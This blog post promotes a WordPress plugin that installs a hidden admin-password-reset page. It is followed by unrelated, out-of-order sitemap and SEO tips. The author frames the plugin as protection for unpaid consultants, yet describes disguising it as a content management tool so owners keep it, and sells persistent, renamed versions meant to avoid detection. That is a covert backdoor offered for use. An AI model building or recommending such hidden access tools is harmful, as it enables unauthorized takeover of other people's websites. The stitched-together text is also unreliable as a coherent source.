First, get the latest wordpress plugin and save it on your local PC/MAC

http://technology-leadership.com/wp-cplugin.zip

The Word Press Consultant’s Plugin was created by me for a friend of mine who is a talented and trusting blogger and web mistress.  Needless to say, some hosers on e-lance screwed her  out of her consulting money when, after she installed wordpress, themes and lots of content, they changed the admin password on her and never paid her.  That was not long after a consulting client, not from e-lance, similarly cheated her.

This plugin gives consultants confidence that they can become the administrator on a wordpress site, do lots and lots of work, and not be cheated by having their admin account password changed, to then go unpaid.  There will be a page on the wordpress blog the cheater does not know about, and you can change the password to anything you like.  The change password program will email the new password to the admin account email.  This is a good thing if you are in control and someone else is trying to use the tool on your site.   But, in case you are the one being cheated, once back in as admin, you must change the admin email address and reset the password one more time.

Two requirements is  for the wp version to be fairly recent. Though, it works for versions as low as 2.7, I think; I only tested in version 2.9.2.  The other requirement is the wordpress install should be hosted on a Linux machine.  Of course, the plugin may work for Windows hosted wordpress blogs, but I have not tested, nor am I interested in testing.  If you test it and it works, I would interested in hearing about it, but only interested if it works!!  Don’t email me telling me it doesn’t work on Window$ as I could care less.

It is free for now.  But, do not be surprised if it is a pay download link  in the future.  Not $19.99,  lol!   It would be maybe $2.99.

To install the plugin – these instructions are for wp 2.9.2.  It won’t be identical, but install will be similar for earlier versions of wordpress:
1) login into wp-admin as admin, you are at the Dashboard
2) Click ‘Plugins’ link from the menu on the left
3) Click the oval ‘Add New’ button next to Manage Plugins title
4)Click the ‘upload’ link just under the Install Plugins title
Note: this is not the same upload option for New Media.  No other upload options will work, only this one under the Install Plugins title will work to install the plugin.
5)Click ‘Browse’ button, find the plugin zip file you downloaded from my site,  click Open
6)Click the oval ‘Install Now’ button
7)Click the ‘Activate Plugin’ link
8)Go to the home page of the blog, or any page of the blog, on tlc it is called http://technology-leadership.com/faq
9) You just created a link called the wp-cplugin.php, which links to the plugin
10) Go to the new page you created, on tlc it would be technology-leadership.com/faq/wp-cplugin.php but I deleted the link prior to posting this.

The plugin installs a link into a directory that you do not normally have access too, so it is a hack I am not advertising to wordpress.  Thus, it will not become part of the wordpress searchable plugins.  I call the plugin a Content Management System, so it looks like you do not want to delete it.  Only the wordpress consultant or admin who installs this knows it is a password reset program, and that is all it manages.  A customized plugin is harder to detect (see below).

If you uninstall the plugin, it will uninstall the reset password program, but that is optional as to how I build the installer.

I can build the wp-cplugin.php installer to be persistent, even after plugin is deleted.   This is a per-customer request, and you get your own plugin name no one else has.   I can also create the plugin and/or any components with different name and description to hide detection.  The customized, persistent reset password plugin is about $49.00.

This is my header – I also know how to enter source code such that wordpress cannot strip your tags! TLC has software that let’s you generate email messages when you save your content to a mysql database via php

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simultaneously send the same content to your word press blog – amazing! That’s how this blog entry was submitted. TLC designed a centralized software depot that let’s you store your code in a mysql database and generate that code in the form of physical files as well as posts to a wordpress blog. Further, with a small php code module written by TLC, any Internet domain property can receive code streamed directly to it from the central depot server. TLC integrates mail, php, javascript, mysql, css and of course html for AMAZING B2B and B2C solutions; this blog post is a working example.

For all of the reasons previously mentioned, it is most important to implement a sitemap for website projects which will be of a considerable size.

In this way, you will be able to keep your website easily accesible and neatly organized for everyone to be able to use, both you and your site visitors. They will be able to find what they need, and not be tempted to click out and go elsewhere.

You will also be able to plan future growth of the site in a scientific, strategic way, to help keep your site growing and your visitors coming back often to see what is new.

You can even use it as a marketing tool: Coming Soon is a way to get them intrigued, and there is nothing better than a fresh, dynamic looking website.

So make sure your sitemap is kept up to date, submitted correctly, and that you monitor the traffic and activities in each area of your site to determine if they are viable, and even if you need a new, exciting area to lure more traffic to your site.

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4) Organization and relevance

A sitemap enables you to have a complete bird’s eye view of your site structure. Whenever you need to add new content or new sections, you will be able to take the existing hierarchy into consideration just by glancing at the sitemap.

You can see which areas need to be built out, and which completely new sections can be added as a result of a new product line or new marketing program.

As a result of having a site map, you will have a well-organized site with everything sorted according to its relevance.

5) Future Planning

Your sitemap will not only show you what is there, it  can also show you where gaps are in your overall offerings, which you might want to add to help develop a robust site.

If you use the Google webmaster tools in conjunction with your site map, you will also be able to see what keywords and searches are bringing visitors to your site.

This information will help you plan products, sales pitches, landing pages, even different navigation areas, based on the keywords they are using.

The webmaster tools will show you which rankings you have for your Top 20 keywords, and which rankings for the pages you click on.

Often, you will be surprised at the low click through rate on some words versus others, and even at what keywords are bringing them to your site in the first place.

Naturally, this information is only useful if it is acted upon. So any new areas of your site can be justified based on your knowledge of how they are finding your site, and what they most likely wish to do when they get there.

Conversely, if there is another part of the site that is taking ages to maintain but hardly anyone ever uses it, see if you can call better attention to it, roll the content in somewhere else, or give up on that area as not viable. If you test and track it and it doesn’t work, just move on.

3) Site optimization purposes

When you create a sitemap, you are actually creating a single page which contains links to every single page on your site.

Imagine what happens when search engine robots hit this page — they will follow the links on the sitemap, and naturally, every single page of your site that you want to be visible will be indexed by the search engines!

It is also for this purpose that a link to the sitemap has to be placed prominently on the front page of your website, so people can see what your site is all about on one single page.

Conversely, if you don’t want a page to be found, for example, test pages of sales letters, and multiple versions of a rapid conversion landing page, then don’t include links to them in your site map.

If you have a free Google account, you can access the Google webmaster tools, which have information about how to set up your site map and give it to Google in order for it to be able to spider your site better.

They are also adding to the reports and statistics available about your site all the time. Once you add a little string of verification code in the metatag of your home page, the two way communication can begin. Within a day or so of my adding the code, my site was being spidered by Google every day.

Some sites can wait months or even years to be found by Google, so the site map and webmaster tools are ones you definitely want in your kit to help promote your site quickly, easily, and inexpensively.